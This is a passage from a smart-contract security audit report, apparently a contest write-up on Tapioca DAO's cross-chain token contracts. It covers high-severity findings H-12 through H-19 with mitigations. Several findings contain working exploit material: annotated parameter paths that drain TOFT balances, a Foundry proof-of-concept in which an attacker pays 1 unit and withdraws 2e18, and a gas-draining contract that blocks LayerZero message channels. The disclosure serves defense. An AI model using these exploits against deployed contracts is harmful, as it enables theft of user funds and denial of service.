ICommonData.IApproval[] memory approvals
) public {
// pass zero approval so this is skipped
if (approvals.length > 0) {
_callApproval(approvals);
}
// target is the address which does nothing, but has the exerciseOption implemented
ITapiocaOptionsBroker(target).exerciseOption(
oTAPTokenID,
paymentToken,
tapAmount
);
// tapSendData.withdrawOnAnotherChain = false so we enter else branch
if (tapSendData.withdrawOnAnotherChain) {
ISendFrom(tapSendData.tapOftAddress).sendFrom(
address(this),
tapSendData.lzDstChainId,
LzLib.addressToBytes32(from),
tapAmount,
ISendFrom.LzCallParams({
refundAddress: payable(from),
zroPaymentAddress: tapSendData.zroPaymentAddress,
adapterParams: LzLib.buildDefaultAdapterParams(
tapSendData.extraGas
)
})
);
} else {
// tapSendData.tapOftAddress is the address of the underlying erc20 token for this TOFT
// from is the address of the attacker
// tapAmount is the balance of erc20 tokens of this TOFT
IERC20(tapSendData.tapOftAddress).safeTransfer(from, tapAmount);
}
}
- So the attack is just simply transferring all the underlying erc20 tokens to the attacker.
The underlying ERC20
token for each TOFT
can be queried through erc20()
function, and the tapAmount
to pass is ERC20
balance of the TOFT
.
This attack is possible because the msg.sender
inside the exerciseInternal
is the address of the TOFT
which is the owner of all the ERC20 tokens that get stolen.
Recommended Mitigation Steps
Validate that tapSendData.tapOftAddress
is the address of TapOFT
token either while sending the message or during the reception of the message on the remote chain.
[H-12] TOFT removeCollateral
can be used to steal all the balance
Submitted by windhustler, also found by 0x73696d616f
removeCollateral
-> remove
message pathway can be used to steal all the balance of the TapiocaOFT
and mTapiocaOFT
tokens in case when their underlying tokens is native.
TOFTs that hold native tokens are deployed with erc20 address set to address zero, so while minting you need to transfer value.
Proof of Concept
The attack needs to be executed by invoking the removeCollateral
function from any chain to chain on which the underlying balance resides, e.g. host chain of the TOFT.
When the message is received on the remote chain, I have placed in the comments below what are the params that need to be passed to execute the attack.
function remove(bytes memory _payload) public {
(
,
,
address to,
,
ITapiocaOFT.IRemoveParams memory removeParams,
ICommonData.IWithdrawParams memory withdrawParams,
ICommonData.IApproval[] memory approvals
) = abi.decode(
_payload,
(
uint16,
address,
address,
bytes32,
ITapiocaOFT.IRemoveParams,
ICommonData.IWithdrawParams,
ICommonData.IApproval[]
)
);
// approvals can be an empty array so this is skipped
if (approvals.length > 0) {
_callApproval(approvals);
}
// removeParams.market and removeParams.share don't matter
approve(removeParams.market, removeParams.share);
// removeParams.market just needs to be deployed by the attacker and do nothing, it is enough to implement IMarket interface
IMarket(removeParams.market).removeCollateral(
to,
to,
removeParams.share
);
// withdrawParams.withdraw = true to enter the if block
if (withdrawParams.withdraw) {
// Attackers removeParams.market contract needs to have yieldBox() function and it can return any address
address ybAddress = IMarket(removeParams.market).yieldBox();
// Attackers removeParams.market needs to have collateralId() function and it can return any uint256
uint256 assetId = IMarket(removeParams.market).collateralId();
// removeParams.marketHelper is a malicious contract deployed by the attacker which is being transferred all the balance
// withdrawParams.withdrawLzFeeAmount needs to be precomputed by the attacker to match the balance of TapiocaOFT
IMagnetar(removeParams.marketHelper).withdrawToChain{
value: withdrawParams.withdrawLzFeeAmount // This is not validated on the sending side so it can be any value
}(
ybAddress,
to,
assetId,
withdrawParams.withdrawLzChainId,
LzLib.addressToBytes32(to),
IYieldBoxBase(ybAddress).toAmount(
assetId,
removeParams.share,
false
),
removeParams.share,
withdrawParams.withdrawAdapterParams,
payable(to),
withdrawParams.withdrawLzFeeAmount
);
}
}
Neither removeParams.marketHelper
or withdrawParams.withdrawLzFeeAmount
are validated on the sending side so the former can be the address of a malicious contract and the latter can be the TOFT’s balance of gas token.
This type of attack is possible because the msg.sender
in IMagnetar(removeParams.marketHelper).withdrawToChain
is the address of the TOFT contract which holds all the balances.
This is because:
- Relayer submits the message to
lzReceive
so he is themsg.sender
. - Inside the
_blockingLzReceive
there is a call into its own public function so themsg.sender
is the address of the contract. - Inside the
_nonBlockingLzReceive
there is delegatecall into a corresponding module which preserves themsg.sender
which is the address of the TOFT. - Inside the module there is a call to withdrawToChain and here the
msg.sender
is the address of the TOFT contract, so we can maliciously transfer all the balance of the TOFT.
Tools Used
Foundry
Recommended Mitigation Steps
It’s hard to recommend a simple fix since as I pointed out in my other issues the airdropping logic has many flaws.
One of the ways of tackling this issue is during the removeCollateral
to:
- Do not allow
adapterParams
params to be passed as bytes but rather asgasLimit
andairdroppedAmount
, from which you would encode eitheradapterParamsV1
oradapterParamsV2
. - And then on the receiving side check and send with value only the amount the user has airdropped.
0xRektora (Tapioca) confirmed and commented:
Related to https://github.com/code-423n4/2023-07-tapioca-findings/issues/1290
[H-13] TOFT triggerSendFrom
can be used to steal all the balance
Submitted by windhustler
triggerSendFrom
-> sendFromDestination
message pathway can be used to steal all the balance of the TapiocaOFT
and mTapiocaOFT
` tokens in case when their underlying tokens is native gas token.
TOFTs that hold native tokens are deployed with erc20 address set to address zero, so while minting you need to transfer value.
Proof of Concept
The attack flow is the following:
- Attacker calls
triggerSendFrom
withairdropAdapterParams
of type airdropAdapterParamsV1 which don’t airdrop any value on the remote chain but just deliver the message. - On the other hand lzCallParams are of type
adapterParamsV2
which are used to airdrop the balance from the destination chain to another chain to the attacker.
struct LzCallParams {
address payable refundAddress; // => address of the attacker
address zroPaymentAddress; // => doesn't matter
bytes adapterParams; //=> airdropAdapterParamsV2
}
- Whereby the
sendFromData.adapterParams
would be encoded in the following way:
function encodeAdapterParamsV2() public {
// https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters#airdrop
uint256 gasLimit = 250_000; // something enough to deliver the message
uint256 airdroppedAmount = max airdrop cap defined at https://layerzero.gitbook.io/docs/evm-guides/advanced/relayer-adapter-parameters#airdrop. => 0.24 for ethereum, 1.32 for bsc, 681 for polygon etc.
address attacker = makeAddr("attacker"); // => address of the attacker
bytes memory adapterParams = abi.encodePacked(uint16(2), gasLimit, airdroppedAmount, attacker);
}
- When this is received on the remote inside the
sendFromDestination
ISendFrom(address(this)).sendFrom{value: address(this).balance}
is instructed by the maliciousISendFrom.LzCallParams memory callParams
to actually airdrop the max amount allowed by LayerZero to the attacker on thelzDstChainId
. - Since there is a cap on the maximum airdrop amount this type of attack would need to be executed multiple times to drain the balance of the TOFT.
The core issue at play here is that BaseTOFT
delegatecalls into the BaseTOFTOptionsModule
and thus the BaseTOFT is the msg.sender
for sendFrom
function.
There is also another simpler attack flow possible:
- Since
sendFromDestination
passes as value whole balance of the TapiocaOFT it is enough to specify the refundAddress in callParams as the address of the attacker. - This way the whole balance will be transferred to the _lzSend and any excess will be refunded to the
_refundAddress
. - This is how layer zero works.
Tools Used
Foundry
Recommended Mitigation Steps
One of the ways of tackling this issue is during the triggerSendFrom
to:
- Not allowing
airdropAdapterParams
andsendFromData.adapterParams
params to be passed as bytes but rather asgasLimit
andairdroppedAmount
, from which you would encode eitheradapterParamsV1
oradapterParamsV2
. - And then on the receiving side check and send with value only the amount the user has airdropped.
// Only allow the airdropped amount to be used for another message
ISendFrom(address(this)).sendFrom{value: aidroppedAmount}(
from,
lzDstChainId,
LzLib.addressToBytes32(from),
amount,
callParams
);
[H-14] All assets of (m)TapiocaOFT can be stealed by depositing to strategy cross chain call with 1 amount but maximum shares possible
Submitted by 0x73696d616f
Attacker can be debited only the least possible amount (1
) but send the share
argument as the maximum possible value corresponding to the erc
balance of (m)TapiocaOFT
. This would enable the attacker to steal all the erc
balance of the (m)TapiocaOFT
contract.
Proof of Concept
In BaseTOFT
, SendToStrategy()
, has no validation and just delegate calls to sendToStrategy()
function of the BaseTOFTStrategyModule
.
In the mentioned module, the quantity debited from the user is the amount
argument, having no validation in the corresponding share
amount:
function sendToStrategy(
address _from,
address _to,
uint256 amount,
uint256 share,
uint256 assetId,
uint16 lzDstChainId,
ICommonData.ISendOptions calldata options
) external payable {
require(amount > 0, "TOFT_0");
bytes32 toAddress = LzLib.addressToBytes32(_to);
_debitFrom(_from, lzEndpoint.getChainId(), toAddress, amount);
...
Then, a payload is sent to the destination chain in _lzSend()
of type PT_YB_SEND_STRAT
.
Again, in BaseTOFT
, the function _nonBlockingLzReceive()
handles the received message and delegate calls to the BaseTOFTStrategyModule
, function strategyDeposit()
. In this, function, among other things, it delegate calls to depositToYieldbox()
, of the same module:
function depositToYieldbox(
uint256 _assetId,
uint256 _amount,
uint256 _share,
IERC20 _erc20,
address _from,
address _to
) public {
_amount = _share > 0
? yieldBox.toAmount(_assetId, _share, false)
: _amount;
_erc20.approve(address(yieldBox), _amount);
yieldBox.depositAsset(_assetId, _from, _to, _amount, _share);
}
The _share
argument is the one the user initially provided in the source chain; however, the _amount
, is computed from the yieldBox
ratio, effectively overriding the specified amount
in the source chain of 1
. This will credit funds to the attacker from other users that bridged assets through (m)TapiocaOFT
.
The following POC in Foundry demonstrates how an attacker can be debited on the source chain an amount of 1
but call depositAsset()
on the destination chain with an amount of 2e18
, the available in the TapiocaOFT
contract.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.18;
import {Test, console} from "forge-std/Test.sol";
import {TapiocaOFT} from "contracts/tOFT/TapiocaOFT.sol";
import {BaseTOFTStrategyModule} from "contracts/tOFT/modules/BaseTOFTStrategyModule.sol";
import {IYieldBoxBase} from "tapioca-periph/contracts/interfaces/IYieldBoxBase.sol";
import {ISendFrom} from "tapioca-periph/contracts/interfaces/ISendFrom.sol";
import {ICommonData} from "tapioca-periph/contracts/interfaces/ICommonData.sol";
import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol";
contract MockYieldBox is Test {
function depositAsset(
uint256 assetId,
address from,
address to,
uint256 amount,
uint256 share
) external payable returns (uint256, uint256) {}
function toAmount(
uint256,
uint256 share,
bool
) external pure returns (uint256 amount) {
// real formula amount = share._toAmount(totalSupply[assetId], _tokenBalanceOf(assets[assetId]), roundUp);
// assume ratio is 1:1
return share;
}
}
contract TapiocaOFTPOC is Test {
address public constant LZ_ENDPOINT = 0x66A71Dcef29A0fFBDBE3c6a460a3B5BC225Cd675;
uint16 internal constant PT_YB_SEND_STRAT = 770;
function test_POC_SendToStrategy_WithoutAllDebitedFrom() public {
vm.createSelectFork("https://eth.llamarpc.com");
address mockERC20_ = address(new ERC20("mockERC20", "MERC20"));
address strategyModule_ = address(new BaseTOFTStrategyModule(address(LZ_ENDPOINT), address(0), IYieldBoxBase(address(2)), "SomeName", "SomeSymbol", 18, block.chainid));
address mockYieldBox_ = address(new MockYieldBox());
TapiocaOFT tapiocaOft_ = new TapiocaOFT(
LZ_ENDPOINT,
mockERC20_,
IYieldBoxBase(mockYieldBox_),
"SomeName",
"SomeSymbol",
18,
block.chainid,
payable(address(1)),
payable(strategyModule_),
payable(address(3)),
payable(address(4))
);
// some user wraps 2e18 mock erc20
address user_ = makeAddr("user");
deal(mockERC20_, user_, 2e18);
vm.startPrank(user_);
ERC20(mockERC20_).approve(address(tapiocaOft_), 2e18);
tapiocaOft_.wrap(user_, user_, 2e18);
vm.stopPrank();
address attacker_ = makeAddr("attacker");
deal(attacker_, 1e18); // lz fees
address from_ = attacker_;
address to_ = attacker_;
uint256 amount_ = 1;
uint256 share_ = 2e18; // steal all available funds in (m)Tapioca (only 1 user with 2e18)
uint256 assetId_ = 1;
uint16 lzDstChainId_ = 102;
address zroPaymentAddress_ = address(0);
ICommonData.ISendOptions memory options_ = ICommonData.ISendOptions(200_000, zroPaymentAddress_);
tapiocaOft_.setTrustedRemoteAddress(lzDstChainId_, abi.encodePacked(tapiocaOft_));
// attacker is only debited 1 amount, but specifies 2e18 shares, a possibly much bigger corresponding amount
deal(mockERC20_, attacker_, 1);
vm.startPrank(attacker_);
ERC20(mockERC20_).approve(address(tapiocaOft_), 1);
tapiocaOft_.wrap(attacker_, attacker_, 1);
tapiocaOft_.sendToStrategy{value: 1 ether}(from_, to_, amount_, share_, assetId_, lzDstChainId_, options_);
vm.stopPrank();
bytes memory lzPayload_ = abi.encode(
PT_YB_SEND_STRAT,
bytes32(uint256(uint160(from_))),
attacker_,
amount_,
share_,
assetId_,
zroPaymentAddress_
);
// attacker was debited from 1 amount, but deposit sends an amount of 2e18
vm.expectCall(address(mockYieldBox_), 0, abi.encodeCall(MockYieldBox.depositAsset, (assetId_, address(tapiocaOft_), attacker_, 2e18, 2e18)));
vm.prank(LZ_ENDPOINT);
tapiocaOft_.lzReceive(102, abi.encodePacked(tapiocaOft_, tapiocaOft_), 0, lzPayload_);
}
}
Tools Used
Vscode, Foundry
Recommended Mitigation Steps
Given that it’s impossible to fetch the YieldBox
ratio in the source chain, it’s best to stick with the amount only and remove the share
argument in the cross chain sendToStrategy()
function call.
[H-15] Attacker can specify any receiver
in USD0.flashLoan()
to drain receiver
balance
Submitted by mojito_auditor, also found by n1punp
The flash loan feature in USD0’s flashLoan()
function allows the caller to specify the receiver
address. USD0 is then minted to this address and burnt from this address plus a fee after the callback. Since there is a fee in each flash loan, an attacker can abuse this to drain the balance of the receiver
because the receiver
can be specified by the caller without validation.
Proof of Concept
The allowance checked that receiver
approved to address(this)
but not check if receiver
approved to msg.sender
uint256 _allowance = allowance(address(receiver), address(this));
require(_allowance >= (amount + fee), "USDO: repay not approved");
// @audit can specify receiver, drain receiver's balance
_approve(address(receiver), address(this), _allowance - (amount + fee));
_burn(address(receiver), amount + fee);
return true;
Recommended Mitigation Steps
Consider changing the “allowance check” to be the allowance that the receiver gave to the caller instead of address(this)
.
[H-16] Attacker can block LayerZero channel due to variable gas cost of saving payload
Submitted by windhustler
https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/BaseUSDO.sol#L399
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/BaseTOFT.sol#L442
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L52
This is an issue that affects BaseUSDO
, BaseTOFT
, and BaseTapOFT
or all the contracts which are sending and receiving LayerZero messages.
The consequence of this is that anyone can with low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable.
Proof of Concept
I will illustrate the concept of blocking the pathway on the example of sending a message through BaseTOFT’s
sendToYAndBorrow
.
This function allows the user to mint/borrow USDO
with some collateral that is wrapped in a TOFT
and gives the option of transferring minted USDO
to another chain.
The attack starts by invoking sendToYBAndBorrow
which delegate calls into BaseTOFTMarketModule
.
If we look at the implementation inside the BaseTOFTMarketModule
nothing is validated there except for the lzPayload
which has the packetType of PT_YB_SEND_SGL_BORROW
.
The only validation of the message happens inside the LzApp
with the configuration which was set.
What is restrained within this configuration is the payload size
, which if not configured defaults to 10k bytes.
The application architecture was set up in a way that all the messages regardless of their packetType go through the same _lzSend
implementation.
I’m mentioning that because it means that if the project decides to change the default payload size to something smaller(or bigger) it will be dictated by the message with the biggest possible payload size.
I’ve mentioned the minimum gas enforcement in my other issue but even if that is fixed and a high min gas is enforced this is another type of issue.
To execute the attack we need to pass the following parameters to the function mentioned above:
function executeAttack() public {
address tapiocaOFT = makeAddr("TapiocaOFT-AVAX");
tapiocaOFT.sendToYBAndBorrow{value: enough_gas_to_go_through}(
address from => // malicious user address
address to => // malicious user address
lzDstChainId => // any chain lzChainId
bytes calldata airdropAdapterParams => // encode in a way to send to remote with minimum gas enforced by the layer zero configuration
ITapiocaOFT.IBorrowParams calldata borrowParams, // can be anything
ICommonData.IWithdrawParams calldata withdrawParams, // can be anything
ICommonData.ISendOptions calldata options, // can be anything
ICommonData.IApproval[] calldata approvals // Elaborating on this below
)
}
ICommonData.IApproval[] calldata approvals
are going to be fake data so max payload size limit is reached(10k). The target
of the 1st approval in the array will be the GasDrainingContract
deployed on the receiving chain and the permitBorrow = true
.
contract GasDrainingContract {
mapping(uint256 => uint256) public storageVariables;
function permitBorrow(
address owner,
address spender,
uint256 value,
uint256 deadline,
uint8 v,
bytes32 r,
bytes32 s
) external {
for (uint256 i = 0; i < 100000; i++) {
storageVariables[i] = i;
}
}
}
Let’s take an example of an attacker sending a transaction on the home chain which specifies a 1 million gasLimit for the destination transaction.
- Transaction is successfully received inside the
lzReceive
after which it reaches _blockingLzReceive. -
This is the first external call and according to
EIP-150
out of 1 million gas:- 63/64 or ~985k would be forwarded to the external call.
- 1/64 or ~15k will be left for the rest of the execution.
- The cost of saving a big payload into the
failedMessages
and emitting events is higher than 15k.
When it comes to 10k bytes it is around 130k gas but even with smaller payloads, it is still significant. It can be tested with the following code:
// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import "forge-std/console.sol";
contract FailedMessagesTest is Test {
mapping(uint16 => mapping(bytes => mapping(uint64 => bytes32))) public failedMessages;
event MessageFailed(uint16 _srcChainId, bytes _srcAddress, uint64 _nonce, bytes _payload, bytes _reason);
function setUp() public {}
function testFMessagesGas() public {
uint16 srcChainid = 1;
bytes memory srcAddress = abi.encode(makeAddr("Alice"));
uint64 nonce = 10;
bytes memory payload = getDummyPayload(9999); // max payload size someone can send is 9999 bytes
bytes memory reason = getDummyPayload(2);
uint256 gasLeft = gasleft();
_storeFailedMessage(srcChainid, srcAddress, nonce, payload, reason);
emit log_named_uint("gas used", gasLeft - gasleft());
}
function _storeFailedMessage(
uint16 _srcChainId,
bytes memory _srcAddress,
uint64 _nonce,
bytes memory _payload,
bytes memory _reason
) internal virtual {
failedMessages[_srcChainId][_srcAddress][_nonce] = keccak256(_payload);
emit MessageFailed(_srcChainId, _srcAddress, _nonce, _payload, _reason);
}
function getDummyPayload(uint256 payloadSize) internal pure returns (bytes memory) {
bytes memory payload = new bytes(payloadSize);
for (uint256 i = 0; i < payloadSize; i++) {
payload[i] = bytes1(uint8(65 + i));
}
return payload;
}
}
- If the payload is 9999 bytes the cost of saving it and emitting the event is 131k gas.
- Even with a smaller payload of 500 bytes the cost is 32k gas.
- If we can drain the 985k gas in the rest of the execution since storing
failedMessages
would fail the pathway would be blocked because this will fail at the level of LayerZero and result inStoredPayload
. - Let’s continue the execution flow just to illustrate how this would occur, inside the implementation for
_nonblockingLzReceive
the_executeOnDestination
is invoked for the right packet type and there we have another external call which delegatecalls into the right module.
Since it is also an external call only 63/64 gas is forwarded which is roughly:
- 970k would be forwarded to the module
- 15k reserved for the rest of the function
- This 970k gas is used for
borrow
, and it would be totally drained inside our malicious GasDraining contract from above, and then the execution would continue inside theexecuteOnDestination
which also fails due to 15k gas not being enough, and finally, it fails inside the_blockingLzReceive
due to out of gas, resulting in blocked pathway.
Tools Used
Foundry
Recommended Mitigation Steps
_executeOnDestination
storing logic is just code duplication and serves no purpose.
Instead of that you should override the _blockingLzReceive
.
Create a new storage variable called gasAllocation
which can be set only by the owner and change the implementation to:
(bool success, bytes memory reason) = address(this).excessivelySafeCall(gasleft() - gasAllocation, 150, abi.encodeWithSelector(this.nonblockingLzReceive.selector, _srcChainId, _srcAddress, _nonce, _payload));
While ensuring that gasleft() > gasAllocation
in each and every case. This should be enforced on the sending side.
Now this is tricky because as I have shown the gas cost of storing payload varies with payload size meaning the gasAllocation
needs to be big enough to cover storing max payload size.
Other occurrences
This exploit is possible with all the packet types which allow arbitrary execution of some code on the receiving side with something like I showed with the GasDrainingContract
. Since almost all packets allow this it is a common issue throughout the codebase, but anyway listing below where it can occur in various places:
BaseTOFT
- https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L205
- https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTMarketModule.sol#L204
- https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTLeverageModule.sol#L111
- https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L221
- https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L118
BaseUSDO
- https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOMarketModule.sol#L191
- https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOLeverageModule.sol#L190
- https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOMarketModule.sol#L104
- https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOLeverageModule.sol#L93
- https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L206
- https://github.com/Tapioca-DAO/tapioca-bar-audit/blob/master/contracts/usd0/modules/USDOOptionsModule.sol#L103
BaseTapOFT
- https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L225 Here we would need to pass
IERC20[] memory rewardTokens
as an array of one award token which is our malicious token which implements theERC20
andISendFrom
interfaces.
Since inside the twTap.claimAndSendRewards(tokenID, rewardTokens)
there are no reverts in case the rewardToken
is
invalid we can execute the gas draining attack inside the sendFrom
whereby rewardTokens[i]
is our malicious contract.
[H-17] Attacker can block LayerZero channel due to missing check of minimum gas passed
Submitted by windhustler, also found by 0x73696d616f
This is an issue that affects all the contracts that inherit from NonBlockingLzApp
due to incorrect overriding of the lzSend
function and lack of input validation and the ability to specify whatever adapterParams
you want.
The consequence of this is that anyone can with a low cost and high frequency keep on blocking the pathway between any two chains, making the whole system unusable.
Proof of Concept
Layer Zero minimum gas showcase
While sending messages through LayerZero, the sender can specify how much gas he is willing to give to the Relayer to deliver the payload to the destination chain. This configuration is specified in relayer adapter params.
All the invocations of lzSend
inside the TapiocaDao contracts naively assume that it is not possible to specify less than 200k gas on the destination, but in reality, you can pass whatever you want.
As a showcase, I have set up a simple contract that implements the NonBlockingLzApp
and sends only 30k gas which reverts on the destination chain resulting in StoredPayload
and blocking of the message pathway between the two lzApps.
The transaction below proves that if no minimum gas is enforced, an application that has the intention of using the NonBlockingApp
can end up in a situation where there is a StoredPayload
and the pathway is blocked.
Transaction Hashes for the example mentioned above:
- LayerZero Scan: https://layerzeroscan.com/106/address/0xe6772d0b85756d1af98ddfc61c5339e10d1b6eff/message/109/address/0x5285413ea82ac98a220dd65405c91d735f4133d8/nonce/1
- Tenderly stack trace of the sending transaction hash: https://dashboard.tenderly.co/tx/avalanche-mainnet/0xe54894bd4d19c6b12f30280082fc5eb693d445bed15bb7ae84dfaa049ab5374d/debugger?trace=0.0.1
- Tenderly stack trace of the receiving transaction hash: https://dashboard.tenderly.co/tx/polygon/0x87573c24725c938c776c98d4c12eb15f6bacc2f9818e17063f1bfb25a00ecd0c/debugger?trace=0.2.1.3.0.0.0.0
Attack scenario
The attacker calls triggerSendFrom
and specifies a small amount of gas in the airdropAdapterParams(~50k gas).
The Relayer delivers the transaction with the specified gas at the destination.
The transaction is first validated through the LayerZero contracts before it reaches the lzReceive
function. The Relayer will give exactly the gas which was specified through the airdropAdapterParams
.
The line where it happens inside the LayerZero contract is here, and {gas: _gasLimit}
is the gas the sender has paid for.
The objective is that due to this small gas passed the transaction reverts somewhere inside the lzReceive
function and the message pathway is blocked, resulting in StoredPayload
.
The objective of the attack is that the execution doesn’t reach the NonblockingLzApp
since then the behavior of the NonBlockingLzApp
would be as expected and the pathway wouldn’t be blocked,
but rather the message would be stored inside the failedMessages
Tools Used
Foundry, Tenderly, LayerZeroScan
Recommended Mitigation Steps
The minimum gas enforced to send for each and every _lzSend
in the app should be enough to cover the worst-case scenario for the transaction to reach the
first try/catch which is here.
I would advise the team to do extensive testing so this min gas is enforced.
Immediate fixes:
- This is most easily fixed by overriding the
_lzSend
and extracting the gas passed from adapterParams with_getGasLimit
and validating that it is above some minimum threshold. - Another option is specifying the minimum gas for each and every packetType and enforcing it as such.
I would default to the first option because the issue is twofold since there is the minimum gas that is common for all the packets, but there is also the minimum gas per packet since each packet has a different payload size and data structure, and it is being differently decoded and handled.
Note: This also applies to the transaction which when received on the destination chain is supposed to send another message, this callback message should also be validated.
When it comes to the default implementations inside the OFTCoreV2
there are two packet types PT_SEND
and PT_SEND_AND_CALL
and there is the available configuration of useCustomAdapterParams
which can enforce the minimum gas passed. This should all be configured properly.
Other occurrences
There are many occurrences of this issue in the TapiocaDao contracts, but applying option 1 I mentioned in the mitigation steps should solve the issue for all of them:
TapiocaOFT
lzSend
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L101 - lzData.extraGas This naming is misleading it is not extraGas it is the gas that is used by the Relayer.
sendFrom
https://github.com/Tapioca-DAO/tapiocaz-audit/blob/master/contracts/tOFT/modules/BaseTOFTOptionsModule.sol#L142 - This is executed as a part of lzReceive but is a message inside a message. It is also subject to the attack above, although it goes through the PT_SEND
so adequate config should solve the issue.
BaseUSDO
lzSend
sendFrom
BaseTapOFT
lzSend
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L108
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L181
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L274
sendFrom
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L229
https://github.com/Tapioca-DAO/tap-token-audit/blob/main/contracts/tokens/BaseTapOFT.sol#L312
MagnetarV2
https://github.com/Tapioca-DAO/tapioca-periph-audit/blob/main/contracts/Magnetar/MagnetarV2.sol#L268
MagnetarMarketModule
0xRektora (Tapioca) confirmed via duplicate issue 841
[H-18] multiHopSellCollateral()
will fail due to call on an invalid market address causing bridged collateral to be locked up
Submitted by peakbolt
multiHopSellCollateral()
allows users to leverage down by selling the TOFT
collateral on another chain and then send it to host chain (Arbitrum) for repayment of USDO loan.
However, it will fail as it tries to obtain the repayableAmount
on the destination chain by calling IMagnetar.getBorrowPartForAmount()
on a non-existing market. That is because Singularity/BigBang markets are only deployed on the host chain.
function leverageDownInternal(
uint256 amount,
IUSDOBase.ILeverageSwapData memory swapData,
IUSDOBase.ILeverageExternalContractsData memory externalData,
IUSDOBase.ILeverageLZData memory lzData,
address leverageFor
) public payable {
_unwrap(address(this), amount);
//swap to USDO
IERC20(erc20).approve(externalData.swapper, amount);
ISwapper.SwapData memory _swapperData = ISwapper(externalData.swapper)
.buildSwapData(erc20, swapData.tokenOut, amount, 0, false, false);
(uint256 amountOut, ) = ISwapper(externalData.swapper).swap(
_swapperData,
swapData.amountOutMin,
address(this),
swapData.data
);
//@audit this call will fail as there is no market in destination chain
//repay
uint256 repayableAmount = IMagnetar(externalData.magnetar)
.getBorrowPartForAmount(externalData.srcMarket, amountOut);
Impact
The issue will prevent users from using multiHopSellCollateral()
to leverage down.
Furthermore the failure of the cross-chain transaction will cause the bridged collateral to be locked in the TOFT contract on a non-host chain as the refund mechanism will also revert and retryMessage()
will continue to fail as this is a permanent error.
Proof of Concept
Consider the following scenario where a user leverage down by selling the collateral on Ethereum (a non-host chain).
- User first triggers
Singularity.multiHopSellCollateral()
on host chain Arbitrum. - That will call
SGLLeverage.multiHopSellCollateral()
, which will conduct a cross chain message viaITapiocaOFT(address(collateral)).sendForLeverage()
to bridge over and sell the collateral on Ethereum mainnet. - The collateral TOFT contract on Ethereum mainnet will receive the bridged collateral and cross-chain message via
_nonBlockingLzReceive()
and thenBaseTOFTLeverageModule.leverageDown()
. - The execution continues with
BaseTOFTLeverageModule.leverageDownInternal()
, but it will revert as it attempt to callgetBorrowPartForAmount()
for a non-existing market in Ethereum. - The bridgex collateral will be locked in the TOFT contract on Ethereum mainnet as the refund mechanism will also revert and
retryMessage()
will continue to fail as this is a permanent error.
Recommended Mitigation Steps
Obtain the repayable amount on the Arbitrum (host chain) where the BigBang/Singularity markets are deployed.
[H-19] twTAP.participate()
can be permanently frozen due to lack of access control on host-chain-only operations
Submitted by peakbolt
twTAP
is a omnichain NFT (ONFT721) that will be deployed on all supported chains.
However, there are no access control for operations meant for execution on the host chain only, such as participate()
, which mints twTAP
.
The implication of not restricting participate()
to host chain is that an attacker can lock TAP
and participate on other chain to mint twTAP
with a tokenId that does not exist on the host chain yet. The attacker can then send that twTAP
to the host chain using the inherited sendFrom()
, to permanently freeze the twTAP
contract as participate()
will fail when attempting to mint an existing tokenId
.
It is important to restrict minting to the host chain so that mintedTWTap
(which keeps track of last minted tokenId) is only incremented at one chain, to prevent duplicate tokenId. That is because the twTAP
contracts on each chain have their own mintedTWTap
variable and there is no mechanism to sync them.
Detailed Explanation
In TwTAP
, there are no modifiers or checks to ensure participte()
can only be called on the host chain. So we can use it to mint a twTAP
on a non-host chain.
https://github.com/Tapioca-DAO/tap-token-audit/blob/59749be5bc2286f0bdbf59d7ddc258ddafd49a9f/contracts/governance/twTAP.sol#L252-L256
function participate(
address _participant,
uint256 _amount,
uint256 _duration
) external returns (uint256 tokenId) {
require(_duration >= EPOCH_DURATION, "twTAP: Lock not a week");
The tokenId
to be minted is determined by mintedTWTap
, which is not synchronized across the chains.
function participate(
...
//@audit tokenId to mint is obtained from `mintedTWTap`
tokenId = ++mintedTWTap;
_safeMint(_participant, tokenId);
Suppose on host chain, the last minted tokenId
is N
. From a non-host chain, we can use sendFrom()
to send over a twTAP
with tokenId
N+1
and mint a new twTAP
with the same tokenId
(see _creditTo()
below). This will not increment mintedTWTap
on the host chain, causing a de-sync.
<br>https:
function _creditTo(uint16, address _toAddress, uint _tokenId) internal virtual override {
require(!_exists(_tokenId) || (_exists(_tokenId) && ERC721.ownerOf(_tokenId) == address(this)));
if (!_exists(_tokenId)) {
//@audit transfering token N+1 will mint it as it doesnt exists. this will not increment mintedTwTap
_safeMint(_toAddress, _tokenId);
} else {
_transfer(address(this), _toAddress, _tokenId);
}
}
On the host chain, participate()
will always revert when it tries to mint the next twTAP
with tokenId
N+1
